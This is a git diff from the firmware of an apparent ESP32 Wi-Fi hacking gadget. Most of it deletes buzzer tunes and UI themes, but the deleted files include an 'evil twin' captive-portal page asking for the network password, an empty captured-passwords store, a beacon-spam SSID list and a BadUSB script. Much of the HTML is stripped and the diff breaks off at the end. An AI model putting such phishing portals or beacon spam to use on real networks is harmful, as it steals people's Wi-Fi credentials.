73fbd1ea..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_error.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_error", - "notes": [ - { - "freq": 659.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 523.25, - "duration": 150 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_flipper_denied.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_flipper_denied.conf deleted file mode 100644 index 25557fb3..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_flipper_denied.conf +++ /dev/null @@ -1,21 +0,0 @@ -{ - "name": "buzzer_flipper_denied", - "notes": [ - { - "freq": 311.13, - "duration": 80 - }, - { - "freq": 261.63, - "duration": 50 - }, - { - "freq": 0, - "duration": 80 - }, - { - "freq": 246.94, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_flipper_granted.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_flipper_granted.conf deleted file mode 100644 index abba3a07..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_flipper_granted.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_flipper_granted", - "notes": [ - { - "freq": 440.00, - "duration": 60 - }, - { - "freq": 523.25, - "duration": 60 - }, - { - "freq": 659.25, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_hacker_confirm.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_hacker_confirm.conf deleted file mode 100644 index 36c076a1..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_hacker_confirm.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_hacker_confirm", - "notes": [ - { - "freq": 659.00, - "duration": 60 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 784.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_hacker_glitch.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_hacker_glitch.conf deleted file mode 100644 index f1fd6152..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_hacker_glitch.conf +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "buzzer_hacker_glitch", - "notes": [ - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10} - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_notify_long.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_notify_long.conf deleted file mode 100644 index a6b856a5..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_notify_long.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_notify_long", - "notes": [ - { - "freq": 659.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 784.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 1047.00, - "duration": 300 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_notify_short.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_notify_short.conf deleted file mode 100644 index f72da3d8..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_notify_short.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_notify_short", - "notes": [ - { - "freq": 784.00, - "duration": 80 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 1047.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_radar_ping.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_radar_ping.conf deleted file mode 100644 index 8221acb9..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_radar_ping.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_radar_ping", - "notes": [ - { - "freq": 392.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 300 - }, - { - "freq": 329.63, - "duration": 80 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_scanner_loop.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_scanner_loop.conf deleted file mode 100644 index a6b2d514..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_scanner_loop.conf +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "buzzer_scanner_loop", - "notes": [ - { - "freq": 262.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 312.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 362.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_scroll_tick.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_scroll_tick.conf deleted file mode 100644 index 96326035..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_scroll_tick.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_scroll_tick", - "notes": [ - { - "freq": 1047.00, - "duration": 20 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1319.00, - "duration": 20 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_success.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_success.conf deleted file mode 100644 index 8d919ecc..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_success.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_success", - "notes": [ - { - "freq": 523.25, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 587.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 659.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/buzzer_system_tick.conf b/firmware_c5/temp/config/buzzer/sounds/buzzer_system_tick.conf deleted file mode 100644 index 3e820553..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/buzzer_system_tick.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "buzzer_system_tick", - "notes": [ - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 }, - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 }, - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 } - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/megalovania.conf b/firmware_c5/temp/config/buzzer/sounds/megalovania.conf deleted file mode 100644 index 0902aac5..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/megalovania.conf +++ /dev/null @@ -1,14 +0,0 @@ -{ - "name": "Megalovania", - "notes": [ - {"freq": 587.33, "duration": 125}, {"freq": 587.33, "duration": 125}, {"freq": 440.00, "duration": 125}, - {"freq": 587.33, "duration": 125}, {"freq": 440.00, "duration": 125}, {"freq": 587.33, "duration": 125}, - {"freq": 440.00, "duration": 250}, {"freq": 0, "duration": 125}, - {"freq": 698.46, "duration": 125}, {"freq": 698.46, "duration": 125}, {"freq": 523.25, "duration": 125}, - {"freq": 698.46, "duration": 125}, {"freq": 523.25, "duration": 125}, {"freq": 698.46, "duration": 125}, - {"freq": 523.25, "duration": 250}, {"freq": 0, "duration": 125}, - {"freq": 783.99, "duration": 125}, {"freq": 739.99, "duration": 125}, {"freq": 698.46, "duration": 125}, - {"freq": 622.25, "duration": 125}, {"freq": 587.33, "duration": 125}, {"freq": 622.25, "duration": 125}, - {"freq": 698.46, "duration": 250} - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/super_mario.conf b/firmware_c5/temp/config/buzzer/sounds/super_mario.conf deleted file mode 100644 index 77ebf06a..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/super_mario.conf +++ /dev/null @@ -1,13 +0,0 @@ -{ - "name": "Super Mario Bros Theme", - "notes": [ - {"freq": 2637.02, "duration": 83}, {"freq": 2637.02, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 2637.02, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 2093.00, "duration": 83}, {"freq": 2637.02, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 3135.96, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 1567.98, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 2093.00, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1567.98, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1318.51, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 1760.00, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1975.53, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 1864.66, "duration": 83}, {"freq": 1760.00, "duration": 83}, {"freq": 0, "duration": 83} - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/buzzer/sounds/zelda_lullaby.conf b/firmware_c5/temp/config/buzzer/sounds/zelda_lullaby.conf deleted file mode 100644 index 6b879889..00000000 --- a/firmware_c5/temp/config/buzzer/sounds/zelda_lullaby.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "Zelda's Lullaby", - "notes": [ - {"freq": 246.94, "duration": 1000}, {"freq": 293.66, "duration": 500}, {"freq": 220.00, "duration": 1000}, - {"freq": 196.00, "duration": 250}, {"freq": 220.00, "duration": 250}, {"freq": 246.94, "duration": 1000}, - {"freq": 293.66, "duration": 500}, {"freq": 220.00, "duration": 1500}, {"freq": 246.94, "duration": 1000}, - {"freq": 293.66, "duration": 500}, {"freq": 440.00, "duration": 1000}, {"freq": 392.00, "duration": 500}, - {"freq": 293.66, "duration": 1000}, {"freq": 261.63, "duration": 250}, {"freq": 246.94, "duration": 250}, - {"freq": 220.00, "duration": 1500}, {"freq": 523.25, "duration": 1500} - ] -} \ No newline at end of file diff --git a/firmware_c5/temp/config/chat/addresses.conf b/firmware_c5/temp/config/chat/addresses.conf deleted file mode 100644 index ac62bf5a..00000000 --- a/firmware_c5/temp/config/chat/addresses.conf +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "mac": "24:6F:28:AE:B1:C0", - "name": "Highboy_Dev" - }, - { - "mac": "30:AE:A4:07:0B:D4", - "name": "Retro_User" - } -] \ No newline at end of file diff --git a/firmware_c5/temp/config/chat/chat.conf b/firmware_c5/temp/config/chat/chat.conf deleted file mode 100644 index ce6cf820..00000000 --- a/firmware_c5/temp/config/chat/chat.conf +++ /dev/null @@ -1,4 +0,0 @@ -{ - "nick": "Highboy_User", - "online": true -} diff --git a/firmware_c5/temp/config/screen/brightness.conf b/firmware_c5/temp/config/screen/brightness.conf deleted file mode 100644 index a6444f39..00000000 --- a/firmware_c5/temp/config/screen/brightness.conf +++ /dev/null @@ -1,5 +0,0 @@ -{ - "brightness": 100, - "rotate": true, -} - diff --git a/firmware_c5/temp/config/screen/interface_config.conf b/firmware_c5/temp/config/screen/interface_config.conf deleted file mode 100644 index 9863419d..00000000 --- a/firmware_c5/temp/config/screen/interface_config.conf +++ /dev/null @@ -1,6 +0,0 @@ -{ - "theme": "default", - "header_idx": 0, - "hide_footer": false, - "lang_idx": 0 -} \ No newline at end of file diff --git a/firmware_c5/temp/config/screen/screen_config.conf b/firmware_c5/temp/config/screen/screen_config.conf deleted file mode 100644 index eb69aebb..00000000 --- a/firmware_c5/temp/config/screen/screen_config.conf +++ /dev/null @@ -1,4 +0,0 @@ -{ - "brightness": 80, - "rotation": 1 -} \ No newline at end of file diff --git a/firmware_c5/temp/config/screen/screen_themes.conf b/firmware_c5/temp/config/screen/screen_themes.conf deleted file mode 100644 index 3bde2c02..00000000 --- a/firmware_c5/temp/config/screen/screen_themes.conf +++ /dev/null @@ -1,134 +0,0 @@ -{ - "default": { - "bg_primary": "0x1A053D", - "bg_secondary": "0x1B1764", - "bg_item_top": "0x000000", - "bg_item_bot": "0x2E0157", - "border_accent": "0x834EC6", - "border_interface": "0x5E12A0", - "border_inactive": "0x333333", - "text_main": "0xFFFFFF", - "screen_base": "0x0A0220" - }, - "matrix": { - "bg_primary": "0x001a0d", - "bg_secondary": "0x003d1a", - "bg_item_top": "0x00120a", - "bg_item_bot": "0x002614", - "border_accent": "0x00FF41", - "border_interface": "0x39FF14", - "border_inactive": "0x1a4d2e", - "text_main": "0x7FFF00", - "screen_base": "0x000a05" - }, - "cyber_blue": { - "bg_primary": "0x0a1f29", - "bg_secondary": "0x1a3d52", - "bg_item_top": "0x050f14", - "bg_item_bot": "0x0d2633", - "border_accent": "0x00D9FF", - "border_interface": "0xFF00FF", - "border_inactive": "0x2a5266", - "text_main": "0x0FF0FC", - "screen_base": "0x020a0f" - }, - "blood": { - "bg_primary": "0x2d0a14", - "bg_secondary": "0x4d1429", - "bg_item_top": "0x1a0508", - "bg_item_bot": "0x330a1a", - "border_accent": "0xFF0055", - "border_interface": "0xFF3377", - "border_inactive": "0x4d1f33", - "text_main": "0xFF4466", - "screen_base": "0x14050a" - }, - "toxic": { - "bg_primary": "0x1f2900", - "bg_secondary": "0x334d00", - "bg_item_top": "0x0a1400", - "bg_item_bot": "0x1a2600", - "border_accent": "0xCCFF00", - "border_interface": "0x99FF00", - "border_inactive": "0x4d6633", - "text_main": "0xD4FF00", - "screen_base": "0x0f1400" - }, - "ghost": { - "bg_primary": "0x1a1a29", - "bg_secondary": "0x2e2e47", - "bg_item_top": "0x0a0a14", - "bg_item_bot": "0x1a1a2e", - "border_accent": "0xB8B8FF", - "border_interface": "0x9D9DFF", - "border_inactive": "0x3d3d5c", - "text_main": "0xE6E6FF", - "screen_base": "0x0d0d1a" - }, - "neon_pink": { - "bg_primary": "0x29001a", - "bg_secondary": "0x4d0033", - "bg_item_top": "0x14000a", - "bg_item_bot": "0x26001a", - "border_accent": "0xFF00AA", - "border_interface": "0xFF33CC", - "border_inactive": "0x4d2647", - "text_main": "0xFF66DD", - "screen_base": "0x14000d" - }, - "amber": { - "bg_primary": "0x291a00", - "bg_secondary": "0x4d3300", - "bg_item_top": "0x140a00", - "bg_item_bot": "0x261a00", - "border_accent": "0xFFAA00", - "border_interface": "0xFFCC33", - "border_inactive": "0x664d33", - "text_main": "0xFFDD55", - "screen_base": "0x140d00" - }, - "terminal": { - "bg_primary": "0x0f1a0f", - "bg_secondary": "0x1a2e1a", - "bg_item_top": "0x050a05", - "bg_item_bot": "0x0d1a0d", - "border_accent": "0x00FF00", - "border_interface": "0x33FF33", - "border_inactive": "0x2e4d2e", - "text_main": "0x44FF44", - "screen_base": "0x050a05" - }, - "ice": { - "bg_primary": "0x001a29", - "bg_secondary": "0x00334d", - "bg_item_top": "0x000a14", - "bg_item_bot": "0x001a2e", - "border_accent": "0x00FFFF", - "border_interface": "0x66DDFF", - "border_inactive": "0x2e5266", - "text_main": "0xAAFFFF", - "screen_base": "0x000d1a" - }, - "deep_purple": { - "bg_primary": "0x1a0029", - "bg_secondary": "0x33004d", - "bg_item_top": "0x0a0014", - "bg_item_bot": "0x1a0026", - "border_accent": "0xAA00FF", - "border_interface": "0xCC66FF", - "border_inactive": "0x4d2e66", - "text_main": "0xDD99FF", - "screen_base": "0x0d0014" - }, - "midnight": { - "bg_primary": "0x00142e", - "bg_secondary": "0x002952", - "bg_item_top": "0x000a1a", - "bg_item_bot": "0x001a33", - "border_accent": "0x4488FF", - "border_interface": "0x66AAFF", - "border_inactive": "0x2e4766", - "text_main": "0x99CCFF", - "screen_base": "0x000a1a" - } -} \ No newline at end of file diff --git a/firmware_c5/temp/config/wifi/wifi_ap.conf b/firmware_c5/temp/config/wifi/wifi_ap.conf deleted file mode 100644 index 7985af18..00000000 --- a/firmware_c5/temp/config/wifi/wifi_ap.conf +++ /dev/null @@ -1,7 +0,0 @@ -{ - "ssid": "Darth Maul", - "password": "MyPassword123", - "ip_addr": "192.168.4.1", - "max_conn": 4, - "enabled": true -} diff --git a/firmware_c5/temp/html/captive_portal/evil_twin_index.html b/firmware_c5/temp/html/captive_portal/evil_twin_index.html deleted file mode 100644 index 41456e59..00000000 --- a/firmware_c5/temp/html/captive_portal/evil_twin_index.html +++ /dev/null @@ -1,19 +0,0 @@ - - Wi-Fi Login

Conecte-se a rede

Por favor, insira a senha da - rede para continuar.

- - - diff --git a/firmware_c5/temp/html/captive_portal/evil_twin_thank_you.html b/firmware_c5/temp/html/captive_portal/evil_twin_thank_you.html deleted file mode 100644 index 96ad0ee4..00000000 --- a/firmware_c5/temp/html/captive_portal/evil_twin_thank_you.html +++ /dev/null @@ -1,6 +0,0 @@ - - "Conectado

Obrigado!

Você está " - "conectado a internet.

"; diff --git a/firmware_c5/temp/html/storage/file_manager.html b/firmware_c5/temp/html/storage/file_manager.html deleted file mode 100644 index df2040bd..00000000 --- a/firmware_c5/temp/html/storage/file_manager.html +++ /dev/null @@ -1,307 +0,0 @@ - - - - - -ESP32 File Manager - - - - - - -
- - - - - - - -
-
-
- -
-

FILE MANAGER

-
● CONNECTED
-
-
-
- - -
-
- - - -
- - - - - - - - - - - - -
NAMESIZEACTIONS
Loading...
-
-
-
- - - - - - - - - - \ No newline at end of file diff --git a/firmware_c5/temp/storage/bad_usb_scripts/rickroll.txt b/firmware_c5/temp/storage/bad_usb_scripts/rickroll.txt deleted file mode 100644 index a2eeb774..00000000 --- a/firmware_c5/temp/storage/bad_usb_scripts/rickroll.txt +++ /dev/null @@ -1,7 +0,0 @@ -REM Rickroll DuckyScript -CONTROL t -DELAY 500 -STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ -ENTER -DELAY 1000 -SPACE diff --git a/firmware_c5/temp/storage/ble/scanned_devices.json b/firmware_c5/temp/storage/ble/scanned_devices.json deleted file mode 100644 index e69de29b..00000000 diff --git a/firmware_c5/temp/storage/captive_portal/passwords.json b/firmware_c5/temp/storage/captive_portal/passwords.json deleted file mode 100644 index e69de29b..00000000 diff --git a/firmware_c5/temp/storage/wifi/beacon_list.json b/firmware_c5/temp/storage/wifi/beacon_list.json deleted file mode 100644 index f3505951..00000000 --- a/firmware_c5/temp/storage/wifi/beacon_list.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "spam_networks": [ - "Darth Maul", - "Obi-Wan Kenobi", - "WiFi_Gratis_SQN", - "Virus_Detected", - "Area 51 Lab", - "FBI Surveillance Van", - "Click Here For Free Pizza", - "404 Network Not Found", - "High Code Guest", - "The Dark Side" - ], - "open_networks": true -} diff --git a/firmware_c5/temp/storage/wifi/know_networks.json b/firmware_c5/temp/storage/wifi/know_networks.json deleted file mode 100644 index e69de29b..00000000 diff --git a/firmware_c5/temp/storage/wifi/scanned_aps.json b/firmware_c5/temp/storage/wifi/scanned_aps.json deleted file mode 100644 index e69de29b..00000000 diff --git a/firmware_c5/temp/storage/wifi/scanned_clients.json b/firmware_c5/temp/storage/wifi/scanned_clients.json deleted file mode 100644 index e69de29b..00000000 diff --git a/firmware_p4/CMakeLists.txt b/firmware_p4/CMakeLists.txt index faca6db5..526d3a7a 100644 --- a/firmware_p4/CMakeLists.txt +++ b/firmware_p4/CMakeLists.txt @@ -9,7 +9,7 @@ set(CMAKE_EXPORT_COMPILE_COMMANDS ON) include($ENV{IDF_PATH}/tools/cmake/project.cmake) -project(highboy) +project(TentacleOS_P4) if(CMAKE_HOST_SYSTEM_NAME STREQUAL "Windows") # Windows Detection diff --git a/firmware_p4/assets/config/OTA/firmware.json b/firmware_p4/assets/config/OTA/firmware.json index 0b1c70df..c459f766 100644 --- a/firmware_p4/assets/config/OTA/firmware.json +++ b/firmware_p4/assets/config/OTA/firmware.json @@ -1,42 +1,7 @@ { - "system_hardware": "HighBoy_v1", - "ota_repository_url": "https://repository.highboy.com.br/firmware/system/update.json", - "changelog": "vazio ate agora", - "components": { - "master_mcu": { - "chip": "ESP32-S3", - "version": "1.0.0", - "status": "active" - }, - "slave_mcu": { - "chip": "ESP32-C5", - "version": "1.0.0", - "status": "active" - } - } + "system_hardware": "HighBoy", + "version": "0.1.0", + "ota_repository_url": "https://repo.highboy.com.br/firmware/system/update.json", + "changelog": "" } -update.json (its be available in web server, saving it here temporary). -{ - "release_tag": "release_2024_01_update", github actions - "critical": true, - "changelog": "Update crítico do driver de rádio no C5 e melhorias de UI no S3.", - "packages": [ - { - "component": "master_mcu", - "version": "1.0.1", - "url": "https://repository.highboy.com.br/firmware/esp32-s3/fw_s3_1.0.1.bin", - "size": 1452032, - "md5": "5eb63bbbe01eeed093cb22bb8f5acdc3", - "action": "self_update" - }, - { - "component": "slave_mcu", - "version": "1.0.2", - "url": "https://repository.highboy.com.br/firmware/esp32-c5/fw_c5_1.0.2.bin", - "size": 524288, - "md5": "a1b2c3d4e5f6as12da123f12r6", - "action": "flash_via_peripheral" - } - ] -} diff --git a/firmware_p4/assets/config/buzzer/buzzer.conf b/firmware_p4/assets/config/buzzer/buzzer.conf deleted file mode 100644 index 0aac3f6a..00000000 --- a/firmware_p4/assets/config/buzzer/buzzer.conf +++ /dev/null @@ -1,4 +0,0 @@ -{ - "volume": 3, - "enabled": 1 -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/default_notes.conf b/firmware_p4/assets/config/buzzer/default_notes.conf deleted file mode 100644 index 07ca5964..00000000 --- a/firmware_p4/assets/config/buzzer/default_notes.conf +++ /dev/null @@ -1,91 +0,0 @@ -{ - "B0": 31.00, - "C1": 33.00, - "CS1": 35.00, - "D1": 37.00, - "DS1": 39.00, - "E1": 41.00, - "F1": 44.00, - "FS1": 46.00, - "G1": 49.00, - "GS1": 52.00, - "A1": 55.00, - "AS1": 58.00, - "B1": 62.00, - "C2": 65.00, - "CS2": 69.00, - "D2": 73.00, - "DS2": 78.00, - "E2": 82.00, - "F2": 87.00, - "FS2": 93.00, - "G2": 98.00, - "GS2": 104.00, - "A2": 110.00, - "AS2": 117.00, - "B2": 123.00, - "C3": 131.00, - "CS3": 139.00, - "D3": 147.00, - "DS3": 156.00, - "E3": 165.00, - "F3": 175.00, - "FS3": 185.00, - "G3": 196.00, - "GS3": 208.00, - "A3": 220.00, - "AS3": 233.00, - "B3": 247.00, - "C4": 261.63, - "CS4": 277.00, - "D4": 293.66, - "DS4": 311.00, - "E4": 329.63, - "F4": 349.23, - "FS4": 370.00, - "G4": 392.00, - "GS4": 415.00, - "A4": 440.00, - "AS4": 466.00, - "B4": 493.88, - "C5": 523.25, - "CS5": 554.00, - "D5": 587.00, - "DS5": 622.00, - "E5": 659.00, - "F5": 698.00, - "FS5": 740.00, - "G5": 784.00, - "GS5": 831.00, - "A5": 880.00, - "AS5": 932.00, - "B5": 988.00, - "C6": 1047.00, - "CS6": 1109.00, - "D6": 1175.00, - "DS6": 1245.00, - "E6": 1319.00, - "F6": 1397.00, - "FS6": 1480.00, - "G6": 1568.00, - "GS6": 1661.00, - "A6": 1760.00, - "AS6": 1865.00, - "B6": 1976.00, - "C7": 2093.00, - "CS7": 2217.00, - "D7": 2349.00, - "DS7": 2489.00, - "E7": 2637.00, - "F7": 2794.00, - "FS7": 2960.00, - "G7": 3136.00, - "GS7": 3322.00, - "A7": 3520.00, - "AS7": 3729.00, - "B7": 3951.00, - "C8": 4186.00, - "CS8": 4435.00, - "D8": 4699.00, - "DS8": 4978.00 -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_access_denied.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_access_denied.conf deleted file mode 100644 index 089cfd2d..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_access_denied.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_access_denied", - "notes": [ - { - "freq": 311.00, - "duration": 200 - }, - { - "freq": 293.66, - "duration": 200 - }, - { - "freq": 277.00, - "duration": 200 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_access_granted.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_access_granted.conf deleted file mode 100644 index 07655907..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_access_granted.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_access_granted", - "notes": [ - { - "freq": 440.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 523.25, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_alarm.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_alarm.conf deleted file mode 100644 index 742a3845..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_alarm.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "buzzer_alarm", - "notes": [ - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250}, - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250}, - {"freq": 523.25, "duration": 250}, - {"freq": 392.00, "duration": 250} - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_beep.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_beep.conf deleted file mode 100644 index 2e1fee3a..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_beep.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_beep", - "notes": [ - { - "freq": 988.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_boot_sequence.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_boot_sequence.conf deleted file mode 100644 index 6a7896b9..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_boot_sequence.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_boot_sequence", - "notes": [ - { - "freq": 523.25, - "duration": 80 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 659.00, - "duration": 60 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 784.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_click.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_click.conf deleted file mode 100644 index 5d891975..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_click.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_click", - "notes": [ - { - "freq": 784.00, - "duration": 50 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_critical_alert.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_critical_alert.conf deleted file mode 100644 index 55491809..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_critical_alert.conf +++ /dev/null @@ -1,9 +0,0 @@ -{ - "name": "buzzer_critical_alert", - "notes": [ - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50}, - {"freq": 988.00, "duration": 100}, {"freq": 0, "duration": 50} - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_digital_pulse.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_digital_pulse.conf deleted file mode 100644 index 02ae59fe..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_digital_pulse.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_digital_pulse", - "notes": [ - { - "freq": 1047.00, - "duration": 40 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1319.00, - "duration": 40 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1568.00, - "duration": 40 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_error.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_error.conf deleted file mode 100644 index 73fbd1ea..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_error.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_error", - "notes": [ - { - "freq": 659.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 523.25, - "duration": 150 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_flipper_denied.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_flipper_denied.conf deleted file mode 100644 index 25557fb3..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_flipper_denied.conf +++ /dev/null @@ -1,21 +0,0 @@ -{ - "name": "buzzer_flipper_denied", - "notes": [ - { - "freq": 311.13, - "duration": 80 - }, - { - "freq": 261.63, - "duration": 50 - }, - { - "freq": 0, - "duration": 80 - }, - { - "freq": 246.94, - "duration": 120 - } - ] -} \ No newline at end of file diff --git 